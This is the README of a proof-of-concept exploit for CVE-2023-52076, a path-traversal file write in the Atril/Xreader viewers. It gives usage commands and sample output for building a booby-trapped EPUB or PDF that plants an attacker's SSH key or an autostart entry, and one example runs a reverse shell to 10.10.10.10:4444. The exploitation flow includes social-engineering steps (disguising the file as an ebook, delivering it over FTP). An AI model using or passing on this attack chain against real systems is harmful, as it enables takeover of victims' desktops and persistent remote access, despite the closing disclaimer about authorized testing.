CVE-2023-52076-PoC

Proof-of-concept for CVE-2023-52076, a critical path traversal and arbitrary file write vulnerability in Atril/Xreader document viewers affecting MATE Desktop environments.

The script generates a crafted EPUB payload with zip-slip paths targeting either SSH configuration or autostart desktop entries, allowing remote command execution on targeted systems.

What It Does

1. Supports two exploitation modes: SSH key injection or autostart RCE.
2. Generates RSA keypair (SSH mode only).
3. Builds a valid EPUB with embedded zip-slip paths targeting vulnerable extraction.
4. Writes payload into 5-9 traversal path variants using /proc/self/cwd gadgets.
5. Creates .epub and .pdf copies (both trigger the vulnerability).
6. Validates the payload structure and verifies all entries.
7. Optionally uploads the payload through anonymous FTP.

Requirements

Python 3.8+
ssh-keygen in PATH (SSH mode only)

Quick Start

SSH Mode (Recommended)

Generate SSH payload locally:

python3 cve_2023_52076.py --mode ssh

Autostart Mode

Generate autostart RCE payload with custom command:

python3 cve_2023_52076.py --mode autostart --command "id > /tmp/pwned.txt"

Full Example

SSH Mode with FTP Upload

python3 cve_2023_52076.py \
  --mode ssh \
  --name slippy-ssh \
  --key ./keys/atril_rsa \
  --output-dir ./payloads \
  --upload \
  --host ftp.target.local \
  --ftp-dir pub

Example output:

[2026-07-27T14:23:45Z] [*] Generating RSA-3072 keypair: ./keys/atril_rsa
[2026-07-27T14:23:47Z] [*] Building EPUB with 9 zip-slip entries
[2026-07-27T14:23:47Z] [*] Validating payload: ./payloads/slippy-ssh.epub
[2026-07-27T14:23:47Z] [+] Validated 9 payload entries
[2026-07-27T14:23:47Z] [*] Connecting to FTP ftp.target.local:21
[2026-07-27T14:23:48Z] [*] Uploading ./payloads/slippy-ssh.epub as slippy-ssh.epub
[2026-07-27T14:23:48Z] [+] Upload complete. Remote directory listing:
-rw-r--r-- 1 0 0 2048 Jul 27 14:23 slippy-ssh.epub

[+] Payload ready
Mode:        SSH (authorized_keys)
Private key: ./keys/atril_rsa (mode 600)
Public key:  ./keys/atril_rsa.pub
Fingerprint: 3072 SHA256:abcd1234... atril-poc (RSA)
EPUB:        ./payloads/slippy-ssh.epub
PDF copy:    ./payloads/slippy-ssh.pdf

[+] SSH login remains manual:
    ssh -i ./keys/atril_rsa -o IdentitiesOnly=yes <user>@<target>

Autostart Mode with FTP Upload

python3 cve_2023_52076.py \
  --mode autostart \
  --command "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1" \
  --name slippy-rce \
  --output-dir ./payloads \
  --upload \
  --host ftp.target.local \
  --ftp-dir pub

Example output:

[2026-07-27T14:25:10Z] [*] Building EPUB with 5 zip-slip entries
[2026-07-27T14:25:10Z] [*] Validating payload: ./payloads/slippy-rce.epub
[2026-07-27T14:25:10Z] [+] Validated 5 payload entries
[2026-07-27T14:25:10Z] [*] Connecting to FTP ftp.target.local:21
[2026-07-27T14:25:11Z] [*] Uploading ./payloads/slippy-rce.epub as slippy-rce.epub
[2026-07-27T14:25:11Z] [+] Upload complete.

[+] Payload ready
Mode:       Autostart (.desktop RCE)
Command:    bash -i >& /dev/tcp/10.10.10.10/4444 0>&1
EPUB:       ./payloads/slippy-rce.epub
PDF copy:   ./payloads/slippy-rce.pdf

[+] Victim must logout/login for autostart to trigger

Optional Flags

--mode {ssh,autostart}
   Payload mode. Default: ssh
   ssh: Inject SSH authorized_keys (no victim interaction needed after file opens).
   autostart: Create .desktop RCE in autostart (triggers on next logout/login).

--command <CMD>
   Payload command for --mode autostart. Required if --mode autostart.
   Example: --command "id > /tmp/pwned.txt"

--name <NAME>
   Local payload basename. Default: base-clean

--key <PATH>
   Private key path (SSH mode only). Default: slippy_rsa

--key-bits <BITS>
   RSA key size (SSH mode only). Options: 2048, 3072, 4096. Default: 3072

--output-dir <DIR>
   Output directory for .epub/.pdf. Default: output

--upload
   Upload the payload to FTP after generating.

--host <HOST>
   FTP target host or IP. Required if --upload is set.

--port <PORT>
   FTP port. Default: 21

--ftp-dir <DIR>
   Remote FTP directory, e.g. pub.

--ftp-user <USER>
   FTP username. Default: anonymous

--ftp-password <PWD>
   FTP password. Default: anonymous@

--remote-name <NAME>
   Remote EPUB filename. Default: ludwig.epub

--upload-pdf
   Upload the .pdf copy instead of the .epub.

--force
   Replace existing output and key files.

--timeout <SECONDS>
   FTP connection timeout. Default: 10.0

--only-final
   Hide progress logs and print only the final summary.

--no-color
   Disable ANSI colors.

--debug
   Print executed subprocess commands (ssh-keygen).

Exploitation Flow

SSH Mode

1. Generate Payload: Script creates EPUB with public key in authorized_keys paths.
2. Social Engineering: Send EPUB/PDF to target (disguise as ebook).
3. Victim Opens File: Atril/Xreader extracts EPUB contents.
4. Path Traversal: Vulnerable code writes public key to ~/.ssh/authorized_keys.
5. SSH Access: Attacker connects using private key.

Autostart Mode

1. Generate Payload: Script creates EPUB with .desktop entry in autostart paths.
2. Social Engineering: Send EPUB/PDF to target.
3. Victim Opens File: Atril/Xreader extracts EPUB contents.
4. Path Traversal: Vulnerable code writes .desktop to ~/.config/autostart/.
5. Trigger: On next logout/login, the .desktop file auto-executes the command.

Key Points

• No username required: /proc/self/cwd gadget resolves at extraction time.
• Multiple path variants: 9 paths for SSH, 5 for autostart, maximizes success across directory depths.
• No file overwrite: Creates new files only (respects CVE limitation).
• Offline mode: Generate payloads without FTP delivery (use --upload only when needed).
• Flexible commands: Autostart mode supports any bash command.
• SSH mode is immediate: No victim interaction after file opens.
• Autostart requires re-login: Victim must logout/login for RCE to trigger.

Notes

• Affected versions: Atril (MATE DE), Xreader (Cinnamon, Linux Mint) < 1.26.2.
• Tested on: Kali Linux, Parrot OS, Ubuntu-Mate, Xubuntu.
• Requires victim to open the crafted document in vulnerable viewer.
• Works offline; no network callback to attacker during exploitation.
• Best practice: deliver via FTP (--upload) to avoid direct hosting.

Legal

This PoC is intended for authorized security testing, lab environments, and vulnerability verification. Do not use it against systems without explicit permission.